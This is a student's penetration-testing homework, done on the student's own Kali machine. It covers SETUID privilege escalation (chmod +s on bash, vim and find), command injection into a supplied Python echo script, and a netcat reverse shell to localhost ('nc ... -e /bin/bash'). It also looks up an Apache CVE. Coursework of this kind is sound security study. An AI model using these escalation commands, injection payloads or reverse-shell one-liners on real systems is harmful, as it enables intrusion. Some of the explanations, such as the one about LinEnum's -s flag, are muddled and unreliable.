

Homework #4 Penetration Testing

Name: Gilbert Garczynski

UID: 115308718

Honor Pledge: I pledge on my honor that I have not given or received any unauthorized assistance on this assignment/examination.

1. The SETUID bit is the bit that allows users to execute a file with the privileges of the owner of the file. For example, if a file has the SETUID set to a root value, it will be escalated to run with root privileges for a user without root privileges. According to <https://github.com/rebootuser/LinEnum>, the “-s” flag supplies the current user and password to sudo permissions, ie, the current user is now a root user. This is therefore very insecure.

Using ‘chmod u+s fileName’, we can add/change the SETUID bit of a specific file. Shows that the owner and group owners of these files are root. so if we add the -s bit to these, we could then run them and get the root permissions.

```
(kali㉿kali)-[~/Documents]
└─$ ls -l bash
-rwxr-xr-x 1 root root 1392424 Nov  4 12:01 bash
(kali㉿kali)-[~/Documents]
└─$ sudo chmod +s bash && ls -l bash
-rwsr-sr-x 1 root root 1392424 Nov  4 12:01 bash
(kali㉿kali)-[~/Documents]
└─$ 
```

As you can see, the bash is now red. Now to check that it worked I ran ./bash -p. The -p activates the recent changes

```
(kali㉿kali)-[~/Documents]
└─$ ./bash -p
bash-5.1# whoami
root
bash-5.1# s
```

Running ‘ls -l /usr/bin/vim && ls -l /usr/bin/find’

```
(kali㉿kali)-[~]
└─$ ls -la /usr/bin/vim && ls -la /usr/bin/find
lrwxrwxrwx 1 root root 21 Nov 17 07:47 /usr/bin/vim → /etc/alternatives/vim
-rwxr-xr-x 1 root root 346972 Oct 28 03:10 /usr/bin/find
```

```
[kali㉿kali)-[/usr/bin]
└─$ sudo chmod +s vim && ls -l vim
lrwxrwxrwx 1 root root 21 Nov 17 07:47 vim → /etc/alternatives/vim
[kali㉿kali)-[/usr/bin]
└─$ sudo chmod +s find && ls -l find
-rwsr-sr-x 1 root root 346972 Oct 28 03:10 find
[kali㉿kali)-[/usr/bin]
└─$ s
```

The vim can spawn an interactive shell in it and with it being run with user permissions, we now have access to the entire system. (source [Linux Privilege Escalation exploiting Sudo Rights — Part I | by Mohd Shibli | devconnected — DevOps, Sysadmins & Engineering | Medium](#))

Run ‘sudo vi test.sh’, type “:!bash”, hit enter, then a shell will spawn.

```
[kali㉿kali)-[~/Desktop]$ sudo vi test.sh  
[root@kali)-[~/Desktop]# whoami  
root
```

The find file additionally finds more programs on the machine that have the SETUID bit.
(source: [A guide to Linux Privilege Escalation \(payatu.com\)](#))
find / -perm -u=s -type f 2>/dev/null

```
bash-5.1# find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/sbin/mount.cifs
/usr/bin/ntfs-3g
/usr/bin/bash
/usr/bin/kismet_cap_nrf_51822
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/vim.basic
/usr/bin/pkexec
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/kismet_cap_linux_wifi
/usr/bin/fusermount3
/usr/bin/find
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/mount
/usr/bin/chsh
/usr/bin/su
/usr/bin/bwrap
/usr/bin/kismet_cap_ubertooth_one
```

One can then look through these and determine what they want to use to escalate privileges.

2. a. To get the code to echo “I have spaces now!”, I cannot simply put spaces in as the line sanitized = user_input.lower().replace(" ", "-")
Removes them and replaces them with “-”.

```
String to echo: 'I have spaces now!'
i-have-spaces-now!
```

Additionally, using \x20 for a space yields the same result.

```
String to echo: 'I\x20have\x20spaces\x20now!'
i-have-spaces-now!
```

However, putting the words into a comma separated list yields favorable results.

```
String to echo: '{I, have, spaces, now!}'
i -have -spaces -now!
String to echo: '{I,have,spaces,now!}'
i have spaces now!
```

b. Reverse the shell with IP 127.0.0.1 or localhost

```
(kali㉿kali)-[~]
$ nc localhost 8080 -e /bin/bash
Ncat: Connection refused.

(kali㉿kali)-[~]
$ nc localhost 8080 -e /bin/bash      1 ✘
/bin/bash: line 1: hello: command not found
/bin/bash: line 6: nien: command not found
└─

(kali㉿kali)-[~]
$ nc -n -vv -l -p 8080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from ::1.
Ncat: Connection from ::1:57192.
hello
ls
Desktop
Documents
Downloads
injectme.py
Music
Pictures
Public
supersecure.store
Templates
Videos
wordlist.txt
cd Desktop
ls
388U.py
p4.http
pwd
/home/kali/Desktop
nien
└─
```

On the right I set up a listener for the terminal on port 8080. On the left, i set the localhost on port 8080 and ran /bin/bash in it. Now I could send command line commands to the terminal on the left through the right terminal, as shown by the ‘hello: command not found’ and ‘nien: command not found’ output. You can also see the ‘ls’, ‘cd’, and ‘pwd’ commands working correctly. To do this with the injectme.py program that was supplied, I can simply run the program in the right terminal ``python3 injectme.py''. Here I can provide a string and the && (enter command here), as the source code has ‘echo (some input)’. The && would not be echoed unless it was enclosed like‘&&’

```
String to echo: hi'&&
hi&&
```

Without the “ we can thus inject commands into the poorly written code.

The image shows two terminal windows side-by-side. The left terminal window, titled 'kali@kali: ~', displays a shell session where a reverse shell has been established via netcat (nc) listening on port 8080. The user runs the command 'echowhat's-up?' which results in an error message about the command not being found. The right terminal window, also titled 'kali@kali: ~', lists files in the current directory. It includes files like 'supersecure.store', 'Templates', 'Videos', 'wordlist.txt', 'injectme.py', and several 'String to echo' entries. The 'String to echo' entries correspond to the commands run in the left terminal, such as 'hello', 'hello&&pwd', and 'hello&&echo' followed by the string 'whats up?'. This indicates that the exploit has successfully exploited a command injection vulnerability.

```
(kali㉿kali)-[~]
$ nc localhost 8080 -e /bin/bash      3 ✘
/bin/bash: line 1: echowhat's-up?: command no
t found
/bin/bash: line 1: echowhat's-up?: command not
found
/bin/bash: line 1: cd: /desktop: No such fil
e or directory

```

```
supersecure.store
Templates
Videos
wordlist.txt
python3 injectme.py
String to echo: hello
hello
String to echo: hello&&pwd
hello
/home/kali
String to echo: hello&&echo'whats up?'
hello
String to echo: hello&&echowhat's-up
hello
String to echo: hello&&{cd,/Desktop}
hello
String to echo: hello&&ls
hello
Desktop
Documents
Downloads
injectme.py
Music
Pictures
Public
supersecure.store
Templates
Videos
wordlist.txt
String to echo: █
```

Echo again:

```
String to echo: hello&{echo,elon,musk}
hello
elon musk
String to echo: █
```

Pwd:

```
String to echo: &&pwd  
  
/home/kali  
String to echo: █
```

18

```
String to echo: &&ls  
  
Desktop  
Documents  
Downloads  
injectme.py  
Music  
Pictures  
Public  
supersecure.store  
Templates  
Videos  
wordlist.txt  
String to echo: █
```

cat command:

```
String to echo: &&{cat,helloworld.txt}  
  
hello World!  
String to echo: █
```

cd

```
String to echo: &&{cd,testfolder}&&pwd  
  
/home/kali/testfolder
```

A problem I ran into was that I cannot use files with uppercase letters as they are all .lowered() in the code.

3.

- a. The critical vulnerability for the software version running on the http port 80 is the ability to execute code in a less privileged state that could execute other code in a root state. The code for it is CV-2019-0211. (source [NVD - CVE-2019-0211 \(nist.gov\)](#))

To find this, I visited [NVD - Home \(nist.gov\)](#) and searched the vulnerabilities database for ‘Apache httpd 2.4.17’ then selected the vulnerability most closely associated to the overall theme of this assignment and last week’s lecture (02/19/21), which was penetration testing and privilege escalation.

- b. There is a working exploit for CV-2019-0211. To exploit CV-2019-0211, one needs to gain read/write access to a process through another exploit and manipulate code to point to a rogue worker before a restart of the system.

Source ([tenable.com](#))